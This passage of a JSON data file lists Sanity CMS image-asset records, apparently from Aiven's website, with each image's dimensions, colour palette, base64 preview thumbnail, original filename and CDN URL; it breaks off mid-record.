{"_createdAt":"2024-04-08T12:13:46Z","_id":"image-7f2829964f60c531513a4a9c7bcfc461bf3ba604-5000x2625-jpg","_rev":"wa1GVUTtyutp0WKCzOS3id","_type":"sanity.imageAsset","_updatedAt":"2024-04-08T12:13:46Z","assetId":"7f2829964f60c531513a4a9c7bcfc461bf3ba604","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDBoOp2T;J+@1+b^t7,t1K|;,AJ=v_Ob$f","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":2625,"width":5000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcCBAb/xAAjEAABBAICAAcAAAAAAAAAAAABAAIDBBEhBRIGExUxQ1Gx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAMEBf/EABwRAAMBAQADAQAAAAAAAAAAAAECAwQABSExEf/aAAwDAQACEQMRAD8AS9K7xjKsbX0+0zRtx9iVdpwjl3trtrRVw7fdgOVn43uMDWkjGfpMLwmAa1QkDODvC3tdTDJSy/QCeMMVvqnJvhI6UfISUo21xdhPljGyhLvmHH1S1v5D+oSFwYaKHaCkn31D+U2zYotT+D13/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#703a59","foreground":"#fff","population":2.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":10.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dd4c16","foreground":"#fff","population":10.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9599bf","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0e7f3","foreground":"#000","population":3.48,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686d95","foreground":"#fff","population":0.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd4c16","foreground":"#fff","population":10.86,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Meta_image_for_Aiven AI database optimizer.jpg","path":"images/sczeoy4w/production/7f2829964f60c531513a4a9c7bcfc461bf3ba604-5000x2625.jpg","sha1hash":"7f2829964f60c531513a4a9c7bcfc461bf3ba604","size":833308,"uploadId":"Uhi736So7dg0PHNkSsk50oCXv4ERcJL2","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f2829964f60c531513a4a9c7bcfc461bf3ba604-5000x2625.jpg"} {"_createdAt":"2024-07-17T13:22:46Z","_id":"image-c9c3daf8dc4477217535d7205e2cc50055e5e84b-2057x1524-png","_rev":"jEln45CgOQD4spzxezMeKZ","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T13:22:46Z","assetId":"c9c3daf8dc4477217535d7205e2cc50055e5e84b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6P6jmRZ00-;0000xy%%n#cX00%i.TS5%f00NhR;NHoa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.349737532808399,"height":1524,"width":2057},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABwgAAAcIAHND5ueAAAEEUlEQVQ4jV3MbWhbVRgH8LORjjoHWpHqxAmyTcfY1CqTVVct09Kq+zKYddBiq1VUUFAUxl6ia0eV+UXd1g50RqWpMJjVsTVulLZQlC7t1nVpm6Tt2ia5bZPc3OTce889L/fec8+R1AnFDz/+/+fh4QEVLwS2170xdHx/czh0oGWkf39z+Ertwb+/3FV3eSdYu6UE3P2oD2x4ygfW7/CB9dt9YG15CVhTVgJKN/vAXdt8oPRxHyh9zAfW3FsCAFgHKnYdKn+//lzVscazjW1NHW+3vnm6+cSB1tfOvlq/OVy7oWy2GpQn9oKHiuarwIORl8B943WlZfN7wcZUDXi4KFENNoZfBPc0PfPIOhD85uQD8PSH++wvXvHb/pqvHX/NSfdIdTv/rulj/vNn74rW2kPycGWbPPxcmzjyvN/reOcD/uMn74njLx+TR/e0y6NV7cJf/Tk/0/K6MXJlE5gI//UEG77cwf/8YcELdeZ4qFPloc4MD1+cs8cHYqwvoLiXTqlFPNSZ9m6EZpzIQNzuCyy5vR05XnT1+2U+2vsbU5U6MB2N7kZzqT/M2G3HmJ+XMJWQupKUSFOlqmpyWVEkVBJSTy1InFmULoLSMjSZzySlsZSUhpKU5rIiGcyPMIIbwHRsuhLOZn9XJ5fp4oIqlXTBy+YMAU0qkhoWM2lTLOdML5dHnkUcwT1PGFgXaS0t1Lxe3AtoEI/a7jXG7EYwHY3vLsws9aRvJWhyZlGmlKyXy0FhmkSks1gkU7rIZKDIqVAgRITjOAIZmlAzKaHl8h4smAJj4rlu8SFrAPFYvDI9p1xMxRacpVRGanlDIkQko440dVtqKpGFgiXzBVMaBpaUMmkTJKkFJSVEUmpLx3El594oY6wRRKemnlWSqe7EfELVcgWDMQe6Loece9C2OaTUhZTakBC2wrYd6HEXCs+Fnuf9p8A572eM1YPh4eGt8fjtT6+FIz2j12NXU4p6gVL2C+c84LjuT47rBtw7VnfX5SvJOQ+4xVvH8WOMK0FfX9+m/sHrb317pqf7xFfdoQs9Q+ey2Xyb49h+RqnfZsxv2+zfXOm2n7HV6ApKaQtCaCcYHx/fMTObPNU/cCN1qXdYv3lzJqlDY4pSEsGWHsHYiDBKIg7GKyi1Iyb1IgYVEUydiI1ghJr5WwRbv2JC9oFoNPq0oetdeU0r5NQC06GBLYQwxgibhoYNQ8MEW5ghhG0LYUIcDImH80RihG3M9CwmhbSFkTlEKD0IBgcHt5oG/IhRK8AoCRJCurBldVmWFTRNuAJbKEgsFKTYCmLCgga2gzp2ggjTLmrkg1jXupBptkII94CGhob7BwYGtkxMTD45MTFZMTk1VRGNRu+IrerRimjsf/MqY2Nj286fP1/+D7Xdj9LT/5PtAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4652","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e5b90","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85107","foreground":"#fff","population":4.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abc0d5","foreground":"#000","population":0.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee9c9f","foreground":"#000","population":0.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#73749f","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85107","foreground":"#fff","population":4.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-platform-categories-and-clouds.png","path":"images/sczeoy4w/production/c9c3daf8dc4477217535d7205e2cc50055e5e84b-2057x1524.png","sha1hash":"c9c3daf8dc4477217535d7205e2cc50055e5e84b","size":423123,"uploadId":"YU6mqFKzDAU1LW6jwtoC6p2knVHpoOsi","url":"https://cdn.sanity.io/images/sczeoy4w/production/c9c3daf8dc4477217535d7205e2cc50055e5e84b-2057x1524.png"} {"_createdAt":"2023-01-11T06:10:47Z","_id":"image-7f77c2aa843c57f4f5dc9f4fb92f73a9cc58b845-424x402-jpg","_rev":"et7UlfrTeMxFNLKIJDjeFT","_type":"sanity.imageAsset","_updatedAt":"2023-01-11T06:10:47Z","assetId":"7f77c2aa843c57f4f5dc9f4fb92f73a9cc58b845","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLHLYY?su2%Kic~XDp%4WFM{O@9F-PInI.R~M{RPIUayxIt8NbRP%2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.054726368159204,"height":402,"width":424},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAATABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHCAP/xAAkEAACAgIBAwQDAAAAAAAAAAABAgMEAAURBhITITFRYQcycf/EABcBAQEBAQAAAAAAAAAAAAAAAAMBBAX/xAAeEQACAQQDAQAAAAAAAAAAAAAAAQMCERMhBTRBcf/aAAwDAQACEQMRAD8AotrDY6U6cg2U8zSNKhYh/Qgn9Qcm+hJqtLYyy7x4HkuL5PNHJz2j37T8ZRbvate1sMl8LajhUhUkHpz95n3UOwTa6F4NLTirTqwWQleO4D4OYY5s+41dDRqN0VOp78NMu/lvUU5zBXXvjQcAr7YzlXZWNnTuPDJGAy/WMfGwbo6N3gCxyqo4Xyt6ZJXwI4G7AF/mMZOF6i+sM81pVrCK80KO/HHJGMYzpFP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a4c39","foreground":"#fff","population":3.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f3707","foreground":"#fff","population":1.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#99976f","foreground":"#fff","population":9.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3d4c2","foreground":"#000","population":8.65,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3a790","foreground":"#000","population":2.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#99976f","foreground":"#fff","population":9.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdce50","foreground":"#000","population":0.55,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ben-laverton.jpg","path":"images/sczeoy4w/production/7f77c2aa843c57f4f5dc9f4fb92f73a9cc58b845-424x402.jpg","sha1hash":"7f77c2aa843c57f4f5dc9f4fb92f73a9cc58b845","size":58395,"uploadId":"3kdbYPh6EzZaO3SCYrAPjC6gjGfp51QJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f77c2aa843c57f4f5dc9f4fb92f73a9cc58b845-424x402.jpg"} {"_createdAt":"2022-06-30T19:58:00Z","_id":"image-7f8b7f1588c895ae29b6d3418b42d172e54cf818-702x258-png","_rev":"QRl2cGoCgj0FlAhkRrhl6C","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:23Z","assetId":"7f8b7f1588c895ae29b6d3418b42d172e54cf818","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6AToxRkMMMy4;.kjFM|V[aL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7209302325581395,"height":258,"width":702},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABjUlEQVQYlRXQbVfSUAAA4P0Vdl/H2LgDiqNuXNgmGwukl7ELBAQ6QSoqKYxZoWRnpWke/3HHb8/nRwIQQAwQgYgioiKaw1QjVCOaoRbKRr6UV1SKCUQEQAIhARBDiIAMQUbOSFQhpad6zd8NhPNi0gjjIIwb4VGjM21G09arsdfuVluh2exUnvX2g57nCa8eebzJ8yVd0jWl5e/M5+31dnR5N/15P724i89v47N/J19uZ8tfg9NNePr95dlF50f6ZvPn+NvNydfr+WzZtes7EtMUEZSTt8HvjbhJh3/TQXrVT7b9j9vhYjN8n3TerdqL1cE6eX59GT1c9R7S4X06Wn848O2ipOdo0y7Mhfn5yF7G7qdDZzGxJ2OnN3LFwBV9OxJcdCvj19XF2F4d2knsnh+7s2iPl1WJEvSkmHUs5tvFeq3gcuZUjKplmCazLMMyDXMvb5mMW6xmsX1ueJz5nFV3dT1HJFnOYAyzWZLTsqqqUIoIQQg9lmIMMQIIyo/AECEZY4ARgBAgBAAE/wGDtHV++KZmygAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#63432c","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f4a19","foreground":"#fff","population":0.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a59464","foreground":"#fff","population":8.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1b59c","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4925f","foreground":"#000","population":0.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a59464","foreground":"#fff","population":8.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#44b8c8","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7f8b7f1588c895ae29b6d3418b42d172e54cf818-702x258.png","path":"images/sczeoy4w/production/7f8b7f1588c895ae29b6d3418b42d172e54cf818-702x258.png","sha1hash":"7f8b7f1588c895ae29b6d3418b42d172e54cf818","size":27098,"uploadId":"sJyY4DyPt6NCbcLPU1xKuY5uveUcm00m","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f8b7f1588c895ae29b6d3418b42d172e54cf818-702x258.png"} {"_createdAt":"2023-02-03T14:48:58Z","_id":"image-7f97fdf582bbfbeef35ea9afb818002c3456de63-1200x630-jpg","_rev":"pnOvEyahjeT2Gte9fmvEB1","_type":"sanity.imageAsset","_updatedAt":"2023-02-03T14:48:58Z","assetId":"7f97fdf582bbfbeef35ea9afb818002c3456de63","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQQvXoK+aJ#7c[TdR4aypJrWS%i^kWo3nN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCAwQH/8QAIRAAAgICAQQDAAAAAAAAAAAAAQIDBAAFIQcREjFhkbH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABsRAAICAwEAAAAAAAAAAAAAAAEDAAIEETES/9oADAMBAAIRAxEAPwDvL0L73mc22WAnhVPIGab9kavVyTSOZDGPb+ycuhAFlzz94vdRWZdKgBIDSqD884eWyy0WtXupRhpDsiizwkRg1c7WqEM7r4NIvl2wydEBacAA7AIPzDGWCKgE7MBmvZ1yf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5453","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c76812","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9750e","foreground":"#fff","population":5.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cf9ea0","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edca97","foreground":"#000","population":0.26,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a77080","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9750e","foreground":"#fff","population":5.39,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"content_collaboration_meta_preview.jpg","path":"images/sczeoy4w/production/7f97fdf582bbfbeef35ea9afb818002c3456de63-1200x630.jpg","sha1hash":"7f97fdf582bbfbeef35ea9afb818002c3456de63","size":77177,"uploadId":"u6sdHUTE85NAVYaBN0Kq4zAl1aXefR9y","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f97fdf582bbfbeef35ea9afb818002c3456de63-1200x630.jpg"} {"_createdAt":"2022-10-25T12:56:58Z","_id":"image-7ff0ff99ba2de444bde9991429983bb693a3db44-646x140-png","_rev":"DxflR4nGhYLEwWp7tsnwTQ","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T12:56:58Z","assetId":"7ff0ff99ba2de444bde9991429983bb693a3db44","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DIT9Fkt8tlt7NG_NjZr?j]Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.614285714285714,"height":140,"width":646},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAfElEQVQImV2OUQ7DMAhDd//LNgSSFIKdqe3aTXvyH34yL9yQXCckgdzdVU2kqrWI4M3VuXhlZkTsHhHzvB0qZozeS5GyFVOb4UQuJIH1439kf2QkfaBbWN2ruMpsitE5Godx7yvnV/5/Oye7QcsRE2qhCk1gBbqhVU5/xt8rc+rxZshbuQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#900b08","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c0a07","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8b1a7","foreground":"#000","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8b1a7","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccfce","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#88888f","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0130e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7ff0ff99ba2de444bde9991429983bb693a3db44-646x140.png","path":"images/sczeoy4w/production/7ff0ff99ba2de444bde9991429983bb693a3db44-646x140.png","sha1hash":"7ff0ff99ba2de444bde9991429983bb693a3db44","size":4912,"uploadId":"A3gtDzFLuxUSNjHp16rw1dOZsZwwNf2j","url":"https://cdn.sanity.io/images/sczeoy4w/production/7ff0ff99ba2de444bde9991429983bb693a3db44-646x140.png"} {"_createdAt":"2023-03-14T17:26:30Z","_id":"image-800045dfdd26179f8dee0d9f070e1121822ee803-1880x1096-png","_rev":"6WM1dqL6UhcEkNXkNwcGfG","_type":"sanity.imageAsset","_updatedAt":"2023-03-14T17:26:55Z","altText":null,"assetId":"800045dfdd26179f8dee0d9f070e1121822ee803","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7153284671532847,"height":1096,"width":1880},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABeElEQVQokV1S7ZLjIAzL+z/k9S7tZtvS8I2NMYYb4KbTPf3KBMmWNdr6B1rrVYRrrSKllBCCn7DWAoCIfJJ779vUDPTeRRrmHGPCPGCMUUodx7Hv++v1Yub/xcxcSmEe+wpX68PzpZ0POVNKKcYYQnDOxRhLGZxp65+FbblyzgFAwvytzOX2eJ4WM62JcygDIgCmiVLKcrqFEIwxzrn5H5R2x+M8jcech6wUREyQrHfGmlPrUxsAbNJ+2F4fAOicd84jIhEhYojROH08rtdjv1y/ft/u2vpa6xC3D9RaiWgducRElHN2wX7d/+zHfrl9/7rdT+OZp3icmhIA5JwnFWPyIXqivOwwM1GOKYQUQwIfE+B4EpFNa62U0lrHGIkIctL2edonItQqrTURqVVWdjJbQKWMPUTbyGNuJiIRyYSnUadRmHFF2lorhSe5rAGFeYX04+bee2EOMYQY35VorTHXlanI8PLGaNgnaq0JhpOV51v/nv7ZsL+l8bjjzO1bsQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#545756","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#727212","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#babcbd","foreground":"#000","population":2.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babcbd","foreground":"#000","population":2.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcfcec","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#798691","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcdc22","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-ordering-two-producers-batching.png","path":"images/sczeoy4w/production/800045dfdd26179f8dee0d9f070e1121822ee803-1880x1096.png","sha1hash":"800045dfdd26179f8dee0d9f070e1121822ee803","size":135070,"title":null,"uploadId":"dHcD3UvOxkQfoTEicJX57a1e44Xzcczr","url":"https://cdn.sanity.io/images/sczeoy4w/production/800045dfdd26179f8dee0d9f070e1121822ee803-1880x1096.png"} {"_createdAt":"2024-03-22T15:28:04Z","_id":"image-8000967f96e00f36fc69f6c03bf288b7568f6d4c-224x68-svg","_rev":"Y34ePYFQ489qDVybEGw0Pp","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T15:28:04Z","assetId":"8000967f96e00f36fc69f6c03bf288b7568f6d4c","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4DOkp|c6h]8FHFJ]8Jm$5Jk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2941176470588234,"height":68,"width":224},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABAElEQVQYlU3RSUsDQRDF8T+vjwqKC4qgQcVlSDQGJS4J4m4U9SIuB/XgIRe/wRvws0sxdfBQTNPd/Op1DUZtowujO6N9o67RqtG8Uctow5TKlG2jJaMZozmjZaN1o1mjUlMwgoRGpgS6m7XTQOoYHZjSN6VrSgCtumm4aRRNFgMMLNAAx0bfRi9GN0aXRieJBbDVvCISlkCqujlrJ7hiNG00YTQZ4JfRm9GD0ZnRtdFVpgxgkPvxPc+G8ZqR0e2/+/dGzwGe5uwiSSSKdT/Xe0avRp/Z9N3oKYHH3PvIUD9GvwGuGfUSiopkC0ZT+VPiLEYwNDrMO1Wmj3kfZx1F+j/3uFIczmTbagAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":50.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#860407","foreground":"#fff","population":2.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":50.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#950308","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7d81","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#940408","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#950408","foreground":"#fff","population":0.27,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"NALogo.svg","path":"images/sczeoy4w/production/8000967f96e00f36fc69f6c03bf288b7568f6d4c-224x68.svg","sha1hash":"8000967f96e00f36fc69f6c03bf288b7568f6d4c","size":2794,"uploadId":"E33vV0mudljxjarrj7RaXQE1gKkOuU6t","url":"https://cdn.sanity.io/images/sczeoy4w/production/8000967f96e00f36fc69f6c03bf288b7568f6d4c-224x68.svg"} {"_createdAt":"2023-09-12T12:42:19Z","_id":"image-801962d394cc3bde0846d298e23b28d9924bb1db-1453x319-png","_rev":"Dk4vsGyYpr9Xi9g7r0labo","_type":"sanity.imageAsset","_updatedAt":"2023-09-12T12:42:19Z","assetId":"801962d394cc3bde0846d298e23b28d9924bb1db","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.554858934169279,"height":319,"width":1453},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABLklEQVQYlR3HQUvCYBwH4EVTNxd4EEcgjLScpO/2+28uU/J9G7q0DBO1sCChQ2CXLl0i6BiE9QH6Bn2aIAjq0kGCPscWeXgOjxQe1Nuh6FxFtaPBl3doVMkxCOQSiAAUAZQAMCLaKDOWkuVlOZUx5HWL6wVw2wRHEdwugCNviZIUnufuwp73EjWb9+/1QAhydwGcEGgAYAjgbHGiFmPMUBVFXc2uJYvUKBXA+3lLjHKWGJjgfbuy05PCafoiPDWvo25t8sa555OzZQM+EdUBNAC0AAgiAmNlPRZXEoKyyXHH3hzuOcG+XwkC4fmTrtW+HZtjKbyJ6eGlnomOy+mPdmWl6ZJWBjSHoAAL2j8iShAzlyUptvQ6VeOfD5rx/ahuz2dKdT5T3J8nRfw+J0Z/YSVPSe2a+gkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#633335","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#781e07","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f59808","foreground":"#000","population":1.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#901208","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f44f42","foreground":"#fff","population":0.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e535b","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59808","foreground":"#000","population":1.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-aiven-aws.png","path":"images/sczeoy4w/production/801962d394cc3bde0846d298e23b28d9924bb1db-1453x319.png","sha1hash":"801962d394cc3bde0846d298e23b28d9924bb1db","size":116430,"uploadId":"vKjkRRrjAcXK2YjG1INNhBqt7hIJEtQC","url":"https://cdn.sanity.io/images/sczeoy4w/production/801962d394cc3bde0846d298e23b28d9924bb1db-1453x319.png"} {"_createdAt":"2023-06-27T10:45:52Z","_id":"image-802570dd8ca20bf445a1473374027fc3eeb1be4b-800x1200-jpg","_rev":"vLPPjjcbeECFTbnAfe7wYa","_type":"sanity.imageAsset","_updatedAt":"2023-06-27T10:45:52Z","assetId":"802570dd8ca20bf445a1473374027fc3eeb1be4b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":1200,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGgAAAgIDAAAAAAAAAAAAAAAAAAcDBgIFCP/EACgQAAEDBAEDAgcAAAAAAAAAAAECAwQABQYREhMhMQcIFCIjQVFSYf/EABgBAAIDAAAAAAAAAAAAAAAAAAQFAAID/8QAHREAAwEAAQUAAAAAAAAAAAAAAAECAyEEERNBUf/aAAwDAQACEQMRAD8Abmb39vE8aXPDXWkqUG2Gv2WfFVnHMkyVhyI9lkeKLfMUEIcZPdpR8A/ytJ7gbuwl2w21xXYudZY3rt4FY3ScxFwIS5rKikoCUfPvSt9qz23qLSQXh086ZumN5yMOR14oqCyS0zbNBkpUFBxhCt/ntRRiYCcmZZe3PUDNi4EFqOQGmQryEj703WrCzNxJNnnKCWwAeSTs7pJelX1r31ne/AbAp4fGK4gaNKte9VyNcUlPBPZ7s7j9vat